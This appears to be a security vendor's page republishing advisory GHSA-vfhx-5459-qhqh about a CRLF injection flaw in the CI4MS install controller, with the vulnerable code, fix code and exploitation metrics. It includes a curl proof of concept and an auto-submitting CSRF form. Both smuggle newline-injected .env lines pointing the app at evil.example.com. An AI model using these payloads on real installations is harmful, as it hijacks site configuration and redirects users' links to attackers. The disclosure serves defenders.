Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐘
🐘 Packagist
Not in CISA KEV
HIGH severity

GHSA-vfhx-5459-qhqh ci4-cms-erp/ci4ms

HIGH

GHSA-vfhx-5459-qhqh is a high-severity (CVSS 8.1) CWE-93 vulnerability in ci4-cms-erp/ci4ms. A fix is available for ci4-cms-erp/ci4ms — see the affected versions and patch details below.

CI4MS Vulnerable to .env CRLF Injection via Unvalidated `host` Parameter in Install Controller

Also known asCVE-2026-39394
Published
Apr 8, 2026
Updated
Apr 8, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 21, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-vfhx-5459-qhqh.

EPSS Exploitation Probability

via FIRST.org ↗
0.5%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs43th percentile — riskier than 43% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-vfhx-5459-qhqh plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,333 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐘ci4-cms-erp/ci4ms

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The Install::index() controller reads the host POST parameter without any validation and passes it directly into updateEnvSettings(), which writes it into the .env file via preg_replace(). Because newline characters in the value are not stripped, an attacker can inject arbitrary configuration directives into the .env file. The install routes have CSRF protection explicitly disabled, and the InstallFilter can be bypassed when cache('settings') is empty (cache expiry or fresh deployment).

Details

In modules/Install/Controllers/Install.php, the $valData array (lines 13-27) defines validation rules for all POST parameters except host. The host value is read at line 35:

// line 32-41
$updates = [
    'CI_ENVIRONMENT' => 'development',
    'app.baseURL' => '\'' . $this->request->getPost('baseUrl') . '\'',
    'database.default.hostname' => $this->request->getPost('host'),  // NO VALIDATION
    'database.default.database' => $this->request->getPost('dbname'),
    // ...
];

This value is passed to updateEnvSettings() (lines 89-101), which uses preg_replace with the raw value as the replacement string:

// line 94-98
foreach ($updates as $key => $value) {
    $pattern = '/^' . preg_quote($key, '/') . '=.*/m';
    $replacement = "{$key}={$value}";
    if (preg_match($pattern, $contents)) $contents = preg_replace($pattern, $replacement, $contents);
    else $contents .= PHP_EOL . $replacement;
}

Since the env template has all lines commented out (e.g., # database.default.hostname = localhost), the pattern does not match, and the value is appended verbatim — including any embedded newline characters. This allows injection of arbitrary key=value pairs into .env.

The dbpassword field (line 17) is a secondary vector — its validation (permit_empty|max_length[255]) does not reject newline characters.

Access conditions:

  • CSRF is explicitly disabled for install routes (InstallConfig.php:7-9), confirmed consumed by Filters.php:220-231,246-251.
  • InstallFilter (line 13) only blocks when both .env exists and cache('settings') is populated. The endpoint is accessible during fresh install or after cache expiry/clear.

Mitigation note: encryption.key injection is NOT exploitable because generateEncryptionKey() (line 70) runs after updateEnvSettings() and overwrites all encryption.key= lines with a cryptographically random value. However, all other .env settings remain injectable.

PoC

Scenario: Application is deployed but cache has expired (or fresh install window).

# Inject app.baseURL override and disable secure requests via host parameter
# The %0a represents a newline that creates new .env lines
curl -X POST 'http://target/install/' \
  -d 'baseUrl=http://target/&dbname=ci4ms&dbusername=root&dbpassword=&dbdriver=MySQLi&dbpre=ci4ms_&dbport=3306&name=Admin&surname=User&username=admin&password=Password123&[email protected]&siteName=TestSite&host=localhost%0aapp.baseURL=http://evil.example.com/%0aapp.forceGlobalSecureRequests=false%0asession.driver=CodeIgniter\Session\Handlers\DatabaseHandler'

Expected result: The .env file will contain:

database.default.hostname=localhost
app.baseURL=http://evil.example.com/
app.forceGlobalSecureRequests=false
session.driver=CodeIgniter\Session\Handlers\DatabaseHandler

These injected lines override the legitimate app.baseURL set earlier (CI4's DotEnv processes top-to-bottom; later values win for putenv), redirect the application base URL to an attacker-controlled domain, and modify session handling.

CSRF exploitation variant (no direct access needed):

<!-- Hosted on attacker site, victim admin visits while cache is empty -->
<form id="f" method="POST" action="http://target/install/">
  <input name="baseUrl" value="http://target/">
  <input name="host" value="localhost&#10;app.baseURL='http://evil.example.com/'">
  <!-- ... other required fields ... -->
</form>
<script>document.getElementById('f').submit();</script>

Impact

An unauthenticated attacker can inject arbitrary configuration into the .env file when the install endpoint is accessible (fresh deployment or cache expiry). This enables:

  • Application URL hijacking — injecting app.baseURL to an attacker domain, causing password reset links, redirects, and asset loading to point to attacker infrastructure
  • Security downgrade — disabling forceGlobalSecureRequests, CSP, or other security settings
  • Session manipulation — changing session driver or save path configuration
  • Full application reconfiguration — the copyEnvFile() method overwrites the existing .env with the template before applying updates, destroying the current configuration (denial of service)
  • Database redirect — while not via the host injection itself (the host value is a legitimate DB config), injecting additional database config lines can alter connection behavior

The attack is amplified by the absence of CSRF protection on the install endpoint, allowing exploitation via a malicious webpage visited by anyone on the same network.

Recommended Fix

  1. Add validation for the host parameter — reject newlines and restrict to valid hostnames/IPs:
// In $valData, add:
'host' => ['label' => lang('Install.databaseHost'), 'rules' => 'required|max_length[255]|regex_match[/^[a-zA-Z0-9._-]+$/]'],
  1. Sanitize all values in updateEnvSettings() — strip newlines from replacement strings:
private function updateEnvSettings(array $updates)
{
    $envPath = ROOTPATH . '.env';
    if (!file_exists($envPath)) return ['error' => "'.env' file not found."];
    $contents = file_get_contents($envPath);
    foreach ($updates as $key => $value) {
        $value = str_replace(["\r", "\n"], '', (string) $value);  // Strip CRLF
        $pattern = '/^' . preg_quote($key, '/') . '=.*/m';
        $replacement = "{$key}={$value}";
        if (preg_match($pattern, $contents)) $contents = preg_replace($pattern, $replacement, $contents);
        else $contents .= PHP_EOL . $replacement;
    }
    file_put_contents($envPath, $contents);
    return true;
}
  1. Add newline validation to dbpassword — add regex_match[/^[^\r\n]*$/] to the validation rules.

  2. Strengthen InstallFilter — consider checking for a more reliable installation-complete indicator than cache state (e.g., a database table existence check or a dedicated lock file).

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐘Packagistci4-cms-erp/ci4msall versions0.31.4.0composer require ci4-cms-erp/ci4ms:^0.31.4.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for ci4-cms-erp/ci4ms, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update ci4-cms-erp/ci4ms to 0.31.4.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-vfhx-5459-qhqh is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-vfhx-5459-qhqh can be triaged on real exposure rather than presence alone.

Tailored to GHSA-vfhx-5459-qhqh. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary The `Install::index()` controller reads the `host` POST parameter without any validation and passes it directly into `updateEnvSettings()`, which writes it into the `.env` file via `preg_replace()`. Because newline characters in the value are not stripped, an attacker can inject arbitrary configuration directives into the `.env` file. The install routes have CSRF protection explicitly disabled, and the `InstallFilter` can be bypassed when `cache('settings')` is empty (cache expiry or fresh deployment). ## Details In `modules/Install/Controllers/Install.php`, the `$valData` array
O3 Security · Impact-Aware SCA

Is GHSA-vfhx-5459-qhqh in your dependencies?

O3 Security finds GHSA-vfhx-5459-qhqh across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-vfhx-5459-qhqh: ci4-cms (High 8.1) | O3 Security